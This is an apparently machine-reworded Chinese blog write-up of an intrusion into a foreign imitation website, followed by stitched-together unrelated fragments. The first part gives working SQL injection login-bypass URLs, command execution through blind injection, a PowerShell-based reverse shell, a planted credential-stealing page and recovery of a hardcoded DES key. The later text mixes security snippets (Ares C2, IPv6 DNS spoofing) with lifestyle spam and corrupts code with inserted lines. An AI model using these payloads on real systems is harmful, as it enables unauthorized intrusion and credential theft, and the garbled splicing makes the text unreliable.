一个境外的山寨网站,也是有意思~~~由于挺久没有做浸透了,在浸透的进程中仍是发现了一些比较有意思的东西
一、政策环境 操作系统:Windows Server 2008 R2
服务器容器:IIS 7.5
运用脚本:ASP.NET
数据库:MSSQL
二、注入点网站只要一个登陆口,登陆口存在SQL注入~~~遇到这种状况,我一般都是三种处理 *** :
①、注入获取数据,没有显现位,无法报错,只能盲注,速度是比较慢的。 ②、指令实行,可以直接指令实行获取shell
。 ③、全能暗码,也是注入运用 *** 的一种。 ④、登录句子结构,这种状况是针对第三种状况失效的选用的。登录句子结构全能暗码也是运用的注入点的 *** 进行登录,一般状况下句子如下:
1 SELECT * FROM ADMIN WHERE USER = $pwd AND PWD = $pwd
不过此处不能用全能暗码,服务器应该是先运用用户名获取数据库信息,然后运用比较暗码进行登录~~~这种时分一般就需要结构句子来登录,大致句子如下:
1 username='1' and 1=2 union select '1','admin','password'-- -
关于暗码字段,我就测试了MD5
以及明文,结构出来的句子如下:http://example.com/checklogin?txtPwd=123456&txtName=admin' or 1=1 UNION ALL SELECT NULL,'e10adc3949ba59abbe56e057f20f883e','e10adc3949ba59abbe56e057f20f883e',NULL,'e10adc3949ba59abbe56e057f20f883e',NULL,'e10adc3949ba59abbe56e057f20f883e',NULL,NULL,NULL,'e10adc3949ba59abbe56e057f20f883e',NULL,NULL,'e10adc3949ba59abbe56e057f20f883e','e10adc3949ba59abbe56e057f20f883e'--
成果仍是过错了,可能是暗码加密 *** 不对吧~~~这个坑,后边来填
指令实行由所以盲注,其时看它实行指令的时分我都快睡着了~~~一般来说,假设我遇到指令实行的状况,就会依照以下几点来做:
①判别站库别离 ②直接写webshell
③直接上马我其时没有判别站库别离,这种小站十个有十个都不会别离。所以,差不多就依照如下进程进行了:
①、分区数目:wmic diskdrive get partitions /value
,只要一个分区, ②、系统盘符:cd
,系统盘符是C:
③、寻觅网站途径:c: & dir /s/b logo.png
,竟然没有!?!? ④、检查是否站库别离:select host_name()
、select @@servername
成果共同,没有站库别离。 ⑤、IIS
默许的网站目录是C:Inetpubwwwroot
,看了一下~~~没有什么东西,应该是管理员从头配置了,网站尽管不大,可是由所以盲注,就没有挨着挨着看了,预备其它思路。 ⑥、bitsadmin
文件下载,提示Unable to add file to job - 0x800704dd
,说不能联网,感觉是当时账号权限过低~~~ ⑦、powershell
文件下载,成功反弹三、代码审计填坑没有做过ASP.NET
的审计,不过这次要点而不是在于审计代码而是在于看缝隙发生的当地,运用的东西为IL Spy
登录部分的代码为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
private void CheckLogin()
{
string name = Utils.GetQurryString("txtName");
string pwd = Utils.GetQurryString("txtPwd");
Admin bll = new Admin();
this.model = bll.GetModelByName(name);
if (this.model != null && this.model.ID > 0)
{
// 不断的检测2号引脚的状况if (!this.IsLock())
{
if (this.model.Pwd == SecurityHelper.DifferentMD5(pwd))
{
int _Exp = 0;
Cookies.AddCookies("Manage", "userid", SecurityHelper.Encrypt(this.model.ID.ToString()), _Exp);
Cookies.AddCookies("Manage", "username", SecurityHelper.Encrypt(this.model.Name.ToString()), _Exp);
Cookies.AddCookies("Manage", "lastlogintime", SecurityHelper.Encrypt(this.model.LastLoginTime.ToString()),_Exp);
this.model.LoginCount++;
this.model.LastLoginTime = DateTime.Now;
this.model.ErrorCount = 0;
this.model.LastLoginIP = Utils.GetClientIP();
int res = bll.Update(this.model);
if (res > 0)
{
AjaxMsgHelper.AjaxMsg("0", "OK", "登录成功", "/home/index");
 0:000> k; new ZY_Log().AddLog(0, "管理员账号:" + name + "登录成功!");
}
else
{
AjaxMsgHelper.AjaxMsg("2", "Error", "系统繁忙");
}
base.Response.End();
}
else
{
this.ErrPwdDo();
AjaxMsgHelper.AjaxMsg("2", "Error", "暗码过错" + this.ErrrorNum + "次:接连过错5次,帐号将被锁住");
base.Response.End();
}
}
else
{
AjaxMsgHelper.AjaxMsg("2", "Error", "由于您接连5次输入暗码过错,为维护你的帐号安全,请30分钟后再登录");
base.Response.End();
}
}
else
{
AjaxMsgHelper.AjaxMsg("1", "Error", "用户名不存在!");
base.Response.End();
}
}
代码公然是依据用户名获取数据,然后比较密文~~~看看DifferentMD5()
函数,好吧,公然不是正派的加密 *** 。
1
2
3
4
5
6
public static string DifferentMD5(string str)
{
string Md5Str = FormsAuthentication.HashPasswordForStoringInConfigFile(str, "MD5").ToLower();
string SHA1Str = SecurityHelper.SHA1(str);
return Md5Str.Substring(2, 8) + "y" + SHA1Str.Substring(4, 6).ToLower() + Md5Str.Substring(13, 11);
}
所以,之一次结构出来的句子是:http://example.com/checklogin?txtPwd=666666&txtName=admin' UNION SELECT 5,'1','79eaf3c8y678a0b04de153469d',NULL,'1',NULL,'1',NULL,NULL,NULL,'1',NULL,NULL,'1','1'--
提示系统过错0001,当我把暗码修改为过错的暗码,提示暗码过错。也便是暗码对了,是在后边操作呈现了其它系统过错,后来证实是字段类型不对应导致的~~~看了看模型部分的代码,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
SqlParameter[] parameters = new SqlParameter[]
{
new SqlParameter("@ID", SqlDbType.Int, 4),
new SqlParameter("@Name", SqlDbType.NVarChar, 100),
new SqlParameter("@Pwd", SqlDbType.NVarChar, 500),
new SqlParameter("@LastLoginTime", SqlDbType.DateTime, 8),
new SqlParameter("@LastLoginIP", SqlDbType.NVarChar, 100),
new SqlParameter("@LoginCount", SqlDbType.Int, 4),
概况请参阅:https://support.dnspod.cn/Kb/showarticle/tsid/240
new SqlParameter("@RegIP", SqlDbType.NVarChar, 100),new SqlParameter("@AddTime", SqlDbType.DateTime, 8),
new SqlParameter("@UpdateTime", SqlDbType.DateTime, 8),
new SqlParameter("@Effect", SqlDbType.Int, 4),
new SqlParameter("@Memo", SqlDbType.NVarChar, 1000),
new SqlParameter("@ErrorCount", SqlDbType.Int, 4),
new SqlParameter("@LastErrTime", SqlDbType.DateTime, 8),
new SqlParameter("@RealName", SqlDbType.NVarChar, 100),
new SqlParameter("@Phone", SqlDbType.NVarChar, 100)
};
所以从头结构出来的句子是http://example.com/checklogin?txtPwd=666666&txtName=admin' UNION SELECT 1,'testuser','79eaf3c8y678a0b04de153469d','01 21 2016 12:00AM','ip',1,'ip','01 21 2016 12:00AM','01 21 2016 12:00AM',1,'memo',1,'01 21 2016 12:00AM','real_name','110'--
,提示:登录成功,其实在上面一步的时分尽管提示系统过错0001,可是cookie
现已设置了,拜访后台是成功的。
尽管有权限了,可是后台用户的暗码仍是不能解密,由于我没有拿到管理员的账号,这个时分想到网站后台暗码和服务器的暗码是相同的啊,默默地修改了后台页面,写了一个 ***
插了进去,等候管理员上钩,代码很简答,就不放代码了。过了一天,看了看,公然在自己的服务器找到了用户名暗码,不过没什么用。
初略看了看系统的补丁状况,基本上打得差不多了,最终仍是找到一个没打补丁的缝隙提权成功,详细进程不再复述。hash
读出来了,可是无法登陆
半途在检查服务器文件的时分发现一些可疑的文件,放到virustotal
剖析了一下,公然是被人挂马了。并且成为了旷工~~~这儿不再做剖析了,恶意程序的剖析并不拿手。
拿到权限之后,发现web.config中数据库衔接字符串是加密了的。这儿很大部分原因是由于自己没有开发过asp.net。我查阅了一下材料,字符串加密一般有两种 *** ~一种是运用自带的东西aspnet_regiis.exe,一种便是在asp.net程序衔接数据库之前去解密。这儿归于第二种
数据库衔接一般在数据拜访层(DAL Data Access Layer)层,并且asp.net中凡是规划到数据库操作,一般都会涉及到SqlHelper类,果不其然,在这个类中发现了解密的代码。
1
2
3
4
5
6
7
8
9
10
11
public class SqlHelper
{
public static int CommandTimeout = 30;
public static string ConnectionString =SecurityHelper.Decrypt(ConfigurationManager.ConnectionStrings["DBconn"].ConnectionString);
public static SqlConnection GetSqlConnection()
{
return new SqlConnection(SqlHelper.ConnectionString);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static string Decrypt(string pDecrypt)
{
string result;
try
{
string key = "abcdefgH";
DESCryptoServiceProvider oDESCryptoServiceProvider = new DESCryptoServiceProvider();
byte[] inputByteArray = new byte[pDecrypt.Length / 2];
for (intls ~/Library/Calendars x = 0; x < pDecrypt.Length / 2; x++)
{
int i = Convert.ToInt32(pDecrypt.Substring(x * 2, 2), 16);
inputByteArray[x] = (byte)i;
}
oDESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(key);
oDESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(key);
MemoryStream oMemoryStream = new MemoryStream();
CryptoStream oCryptoStream = new CryptoStream(oMemoryStream, oDESCryptoServiceProvider.CreateDecryptor(),CryptoStreamMode.Write);
oCryptoStream.Write(inputByteArray, 0, inputByteArray.Length);
了解了底子常识后,让我们看看在进程内存空间中实行shellcode需求什么。为了实行你的shellcode,你需求结束以下三个检查:oCryptoStream.FlushFinalBlock();
result = Encoding.Default.GetString(oMemoryStream.ToArray());
}
catch (Exception ex_B5)
{
result = "";
}
return result;
}
From:http://ecma.io/745.html
黑客帝国4:记一次境外站浸透进程
至此,我们已成功设备了工作Ares所需的全部条件。接下来我们
就可以来检验获取与政策机器的CNC会话了。想要抵达这个目的,我们还需求一个agent。我们运用cd指令遍历agent目录。然后通过ls指令列出文件,找到其间的一个配备文件。我们需求批改该文件以获取会话。红线:设备与恶意远程服务器之间的通讯流量; 假定客户端的 *** 正在运用合法的WPAD PAC文件,并且我们的欺诈 *** 无法正常作业。还有另一种技术,是运用IPv6和DNS将凭证中继到政策。默许状况下,IPv6现已启用,并且优先于IPv4,这意味着计算机假设具有IPv6服务器,那么将会被优先运用。此外,默许状况下,Windows主机会通过DHCPv6央求查找IPv6 DNS服务器。假设我们运用假的IPv6 DNS服务器进行欺诈,我们就可以有用控制设备查询DNS的 *** 。更详细的内容,可以阅读这儿。记一次境外站渗透过程
黑客帝国4C:WINDOWSsystem32svchost.exe-k netsvcs -p虚拟机网卡驱动会通过 VMBus 将央求封装成一个数据包传递到环形内存中;service rsyslog restart
cat EOF> /etc/security/limits.conf} return dirty_tag in json.dumps(log)黑客帝国4
gcc gpssim.c -lm -O3 -o gps-sdr-simPTRACE_GETREGS }0xffffffffa013d0e4 39> mov -0x10(%rbp),%rax
假设打开了系统调用过滤功用,KeServiceDescriptorTableFilter将代替KeServiceDescriptorTableShadow,假设没有打开过滤,则将运用KeServiceDescriptorTableShadow。接下来要查询系统调用表的运用,如下图所示:实时可视化程度更高——发现高级侵犯行为、实时观测该侵犯行为对用户构成的影响。
我是一名电脑爱好者,一直对黑客研讨很感兴趣,最近才实在初步学习,许多不明白。此次曝光的NSA大杀器中,有几处当地提及了早年被斯诺登宣布的NSA绝密计划和软件,例如用来控制远程植入程序的“STRAITBIZARRE”,以及侵犯SWIFT系统的“JEEPFLEA”项目,这些条理都周围面映证该批东西从NSA精英黑客团队“方程式组织”处获取的或许性。记一次境外站渗透过程
黑客帝国4
EventFiltering> tar zxvf 0.9.4.tar.gz设备结束后,在/etc/suricata/suricata.yaml 配备下:20. 当你需求安全通讯时,请运用信号安全消息 App。
本文首要谈论前三种数据存储类型,完成了加密解密SDK,并完成对APP的安全存储注入。首要我们来简略谈论下Android中数据存储的方位——考虑数据安全,有必要更改android运用的存储方位吗?
}Iframe中的“res://”变种(此缝隙未批改)$ ./path/to/certbot-auto --apache certonly黑客帝国4配备缺陷:如默许服务未关闭、无用服务打开等;1.1常用类1. 读取UserForm2.Image1.ControlTipText中的字符串并替换指定的字符
记一次境外站渗透过程当你用root登录,你就对面前的金属小盒子具有了完全控制权。这是极点危险的,由于只需你的凭证被盗,侵犯者可以对你的系统为所欲为。
3:高级IP扫描程序(Advanced IP Scanner)http://www.advanced-ip-scanner.com/
RatticDB 是一个开源的依据 Django 的暗码处理服务。
翻开WSockExpert软件,也可以选择其它抓包软件,选择需求监听的程序(翻开文件夹那个图标按钮),在本例中选择“我国菜刀”,如图2所示,设置完成后WSockExpert初步对我国菜刀进行监听并获取其通讯进程的包等数据。u盘装系统软件实例教程,如今许多盆友都是会应用一键重装系统软件开展重做系统,可是当电脑上进不了系统的状况下還是必须用U盘方式的,下面我给大伙儿介绍一下U盘装xp系统的方式吧。1、最先在网页搜索官方网站...
. 又要过年了,今年过年的时间比较早,很多人感叹怎么又要过年了,对于过年大家一定还是有不少的话想说的,友谊长存小编就来说说又要过年了的心情吧。 又要过年了的句子心情 一年一年又一年,又要过年了,...
天冷了,又是吃火锅的好季节,但是很多孕妈在各种饮食禁忌的说法面前,不止一次忍住了口水。 尤其是之前有报道称吃火锅会导致胎儿畸形,让孕妈们提心吊胆。 那么,孕妇到底可不可以吃火锅呢?波壳粒粒咨询了妇...
百家讲坛观后感(百家讲坛王立群读《史记》”之有感) 王立群读《史记》”,是继“于丹的《论语心得》”,“易中天的《品三国》”之后,百家讲坛今年重点推荐的品牌栏目,这档栏目主要是以司马迁的《史记》为蓝本...
七夕那一天,许多恋人会微信发朋友圈庆贺,而单身狗们一直会发各种各样搞笑段子创意文案,给七夕提升了不一样的颜色,确实有意思,下边我就产生2020合适七夕单身汪微信发朋友圈风趣搞笑文案。 2020合适七...
各位亲爱的朋友们,今天和大家分享的是:陌生人社交平台陌陌的商业模式。他抓住了移动互联网爆发的机会,靠约炮神器这样一个独特的定位,与微信同台竞技,捕获了数以亿计的用户,快速上市,最后,靠移动直播的商业模...